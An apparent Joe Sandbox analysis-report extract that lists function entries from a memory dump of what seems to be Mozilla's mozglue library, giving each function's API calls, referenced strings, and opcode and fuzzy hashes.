Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 1caf08db53d82d5d56fffd5a7a6a1b765c19495ba24b41125877f4cd681bcedb
Instruction ID: ece99d7e0566153d4b86429a2b9788e73f78c5fcce9bf5321c0d4e6a3aaa16e0
Opcode Fuzzy Hash: 1caf08db53d82d5d56fffd5a7a6a1b765c19495ba24b41125877f4cd681bcedb
Instruction Fuzzy Hash: E262CF7160C3C58FD705CF29C89076ABBF2AF86358F184A8DE4D54BA92D335D985CB82

Function 6C60545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C608A4B

Strings

~qYl, xrefs: 6C609269, 6C609459, 6C60921F, 6C605740, 6C605703, 6C6056C7, 6C60948F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset
String ID: ~qYl
API String ID: 2221118986-3505045946
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 462d9d9b2dd1da2fa1fb1e07276d99b9575e256fc41854f3bb1be242c1dfbdd7
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D6B1E672B0021ACFDB18CF68CD907E9B7B2EF85314F1802A9C549EB791D7309985CB94

Function 6C60542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C60925C

Strings

~qYl, xrefs: 6C609269, 6C609459, 6C60921F, 6C605740, 6C605703, 6C6056C7, 6C60948F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset
String ID: ~qYl
API String ID: 2221118986-3505045946
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 3da3a4b893e8c0a5332231a87b7ba5c83505fd9da852bb9d85b2ab582980616e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 47B1C572F0520ACBCB18CE68CD816EDB7B2AF85314F150279C949EB795D730A989CB94

Function 6C5FC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5FC0E9), ref: 6C5FC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5FC437
FreeLibrary.KERNEL32(?,6C5FC0E9), ref: 6C5FC44C

Strings

ntdll.dll, xrefs: 6C5FC413
NtQueryVirtualMemory, xrefs: 6C5FC431

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a4105850256d613485c95efc6ff5cf256edc5d8cb05d38c170267c5c5ea9a0df
Instruction ID: d999ca5ad91e25764b24d91578b2d65a6e40f81e75805b2393c58cb907181578
Opcode Fuzzy Hash: a4105850256d613485c95efc6ff5cf256edc5d8cb05d38c170267c5c5ea9a0df
Instruction Fuzzy Hash: BFE092B47053019BDB40AB7F8A8A7117AF8A74624BF004627AA0892F10EBB0D0128A5E

Function 6C5A9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C5AA100
@, xrefs: 6C5AA625
1, xrefs: 6C5AA824
' , xrefs: 6C5AA3D8
9, xrefs: 6C5AA5D6
0, xrefs: 6C5AAB22

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 5ffd8b11381e90d6b21af9a3686554cf0e41c43a0ae966fd15878672f33d2833
Instruction ID: 43af70e088b5d752d28fca611a76059670a24c129321f5c0f8b74c406fcf310d
Opcode Fuzzy Hash: 5ffd8b11381e90d6b21af9a3686554cf0e41c43a0ae966fd15878672f33d2833
Instruction Fuzzy Hash: 8F82DF319093619FD711CE8BC88036EB7E1FB85748F558A2EE8D547A90D335A887CF92

Function 6C59BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C59C1CB
__aulldiv.LIBCMT ref: 6C59C24C
__aulldiv.LIBCMT ref: 6C59C348
__aullrem.LIBCMT ref: 6C59C365
__aulldiv.LIBCMT ref: 6C59C37D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: a804d77ee639da0cb7a1d292abd470ac66a14c9eb62f13792baa61220199d84d
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 51322632B046518FC718DE2CC89065ABBE6EFC9310F0986ADE895CB395D730ED05CB91

Function 6C5E77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5E7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5E7A93

Part of subcall function 6C5B5C50: GetTickCount64.KERNEL32 ref: 6C5B5D40
Part of subcall function 6C5B5C50: EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5E7AA1

Part of subcall function 6C5B5C50: __aulldiv.LIBCMT ref: 6C5B5DB4
Part of subcall function 6C5B5C50: LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C5B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5E7B31

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: d5de64bfceec0d2193e36765abcdec1901e605240fd41d3bbb5066206ca81b0a
Instruction ID: 7a232ff698f772bec3c5d5e14cd758d9619013f4f88af80a407d98db300f748b
Opcode Fuzzy Hash: d5de64bfceec0d2193e36765abcdec1901e605240fd41d3bbb5066206ca81b0a
Instruction Fuzzy Hash: 95B18C356083908BDB14CF24C85065FB7E2BFC9358F154A1DE995A7B92DB70ED0ACB82

Function 6C5B8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5B9813, 6C5B985D, 6C5B9878, 6C5B9CEB
MOZ_CRASH(), xrefs: 6C5B97EA

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 2a9532f2eb92c5d216dcbfdca872d8da8a16bb22693d264f2fbe86ffbc35a55c
Instruction ID: c6aff927fc59cdcdc2b5dd1860d585db7d1bd9203ad51568eacf50aad5bfca87
Opcode Fuzzy Hash: 2a9532f2eb92c5d216dcbfdca872d8da8a16bb22693d264f2fbe86ffbc35a55c
Instruction Fuzzy Hash: E4D28D71A05A028FC708CF19C9A0715BBF1BF95324F29C76DE86A9B7A5C731E841CB81

Function 6C5D6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5D6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5D6E1E

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: cb40c16f3f309c776996219d60057cde9e068584ad3a3fb7fe04625b44902e98
Instruction ID: 091043fdd40a06262ba1fda06dde39ed55c9ba807b50e94ed928b77403b75e1e
Opcode Fuzzy Hash: cb40c16f3f309c776996219d60057cde9e068584ad3a3fb7fe04625b44902e98
Instruction Fuzzy Hash: 6BA16A706187818FD714CF29C890BAAFBE2BFC9308F05495DE48A87751DB70B849CB92

Function 6C5FB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5CFE3F), ref: 6C5FB720
RtlNtStatusToDosError.NTDLL ref: 6C5FB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5CFE3F), ref: 6C5FB760

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: ba2b54ac872268183d84e000ab2a73941d6a6ef9a6e70cc23d7d1b00ad34f9c9
Instruction ID: 7025c76274fe856356b37e94b33aecfe47e4443f1f7bf7b066b6752fd4ac7df2
Opcode Fuzzy Hash: ba2b54ac872268183d84e000ab2a73941d6a6ef9a6e70cc23d7d1b00ad34f9c9
Instruction Fuzzy Hash: 03F0C870A0120CEEDF09AAE5CC85BDF77BCDB04319F105129D521615C1D77495CCCA66

Function 6C5B4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5B4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5B5585, 6C5B55A8, 6C5B55C3, 6C5B5624

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 8968283cd7929f4118e73483430e50434142ac8764e6614052a1dece344a217b
Instruction ID: 53f7b2ca600bbc1228b733e169d958a4ef5c0afcbe3b20763ac808d12be15c67
Opcode Fuzzy Hash: 8968283cd7929f4118e73483430e50434142ac8764e6614052a1dece344a217b
Instruction Fuzzy Hash: D6B27C71A06A018FD718CF18C9A0615FFE2BFC5324B29C66DE46A9B7A5D771E841CB80

Function 6C5F85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F8C7C
__aulldiv.LIBCMT ref: 6C5F8DD7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 4303ba61582417e1f68084e778a6449452d94be0ec76931240cf48e8320cf685
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 60326C31F011198BDF1CCE9DC8A17AEB7B2FB89300F15852AD516BB790DA349D468F92

Function 6C6076E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qYl, xrefs: 6C607E0B, 6C6079C0, 6C6079FB, 6C60793C, 6C607796, 6C607B0B

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: ~qYl
API String ID: 0-3505045946
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 1505e51cff60b382211092da7979c59e8314a45363eb0163d135543613e1c827
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: DA32F871E006198FCB18CF98C990AADFBB2FF88308F548169C949B7745D731A986CF94

Function 6C606E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qYl, xrefs: 6C607C03, 6C607C72, 6C607E0B, 6C6079C0, 6C6079FB, 6C60793C, 6C607B0B

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: ~qYl
API String ID: 0-3505045946
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: dabb1a93153fb3bdd1b058acdc2cff339c13003b9abc45aea5f26d33925e497d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: E922D671E006198FCB18CF98C980AADF7F2BF89304F6485A9C949B7745D731A986CF94

Function 6C5D5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5A4A63,?,?), ref: 6C5D5F06

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d7bd6a7d6727e3b45a4e42fdf9fd4e29aba9bf26112a864ede40330a232d7e7b
Instruction ID: 4c106884f8848ae9a5d5b376b2e56eeb29207358305925b16c4a6d9b0cc2eb7f
Opcode Fuzzy Hash: d7bd6a7d6727e3b45a4e42fdf9fd4e29aba9bf26112a864ede40330a232d7e7b
Instruction Fuzzy Hash: 01C1D0B1E013098BCB04CF98C9906EEBBB2FF8A318F69415DD8556BB40D732A905CB94

Function 6C59DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b584f352fadf0384c33a2106196438e982fbece0187f6f8daa800a5051aa24b0
Instruction ID: 83e04d28e1ef1239b5e6ec5c34965638e89772a44490f4842fcc8b85306a65fb
Opcode Fuzzy Hash: b584f352fadf0384c33a2106196438e982fbece0187f6f8daa800a5051aa24b0
Instruction Fuzzy Hash: 6B42D572A087908BD304CE3CC89175AF3E2BFC9354F094B6DE999A7791E774D9418B82

Function 6C5C0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d1829ee2fb303b6dff4c90b33162429206e047e1fe8b632e9873b24c2defd7f7
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: CD220575E046198FDB14CF98C890AADFBB2FF88304F54869ED44AA7705D730A986CF81

Function 6C60AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1342a1e567011bbcaeab208ba97395f1209e6ad397bfb612f49c7705d35b271
Instruction ID: 71d5b718ab487c44d3b687ed89beb3ecc22a14148e5459c6ded82b243ade9a45
Opcode Fuzzy Hash: f1342a1e567011bbcaeab208ba97395f1209e6ad397bfb612f49c7705d35b271
Instruction Fuzzy Hash: 52F16A717087454FD708CE28C9807AAB7E2AFC6398F158A2DE4D4A77C2E374D845C796

Function 6C59C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 471ada78126777bc0bd617c0aaffe498d3e6692b1598004bf928967203dea2c7
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 28A1B171F0025A8FDB08CE69C8913AEB7F2AFC9354F188169D915E7781DB34AC068BD0

Function 6C5D7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 07661031a6671f8f790ec4392aa294ceb9872478d4e7267a63496cb70c8ce97a
Instruction ID: 2274bc2efeec271ea429a04399cffe4880ee38eb526826f4b596924faddddeff
Opcode Fuzzy Hash: 07661031a6671f8f790ec4392aa294ceb9872478d4e7267a63496cb70c8ce97a
Instruction Fuzzy Hash: 44717B71E012198FCB08CFA9C8905EEBBB2FF89354F25816ED816AB744D731A945CB94

Function 6C5DCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5A582D), ref: 6C5DCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5A582D), ref: 6C5DCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C60FE98,?,?,?,?,?,6C5A582D), ref: 6C5DCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5A582D), ref: 6C5DCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5A582D), ref: 6C5DCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5A582D), ref: 6C5DCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A582D), ref: 6C5DCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5DCCC4
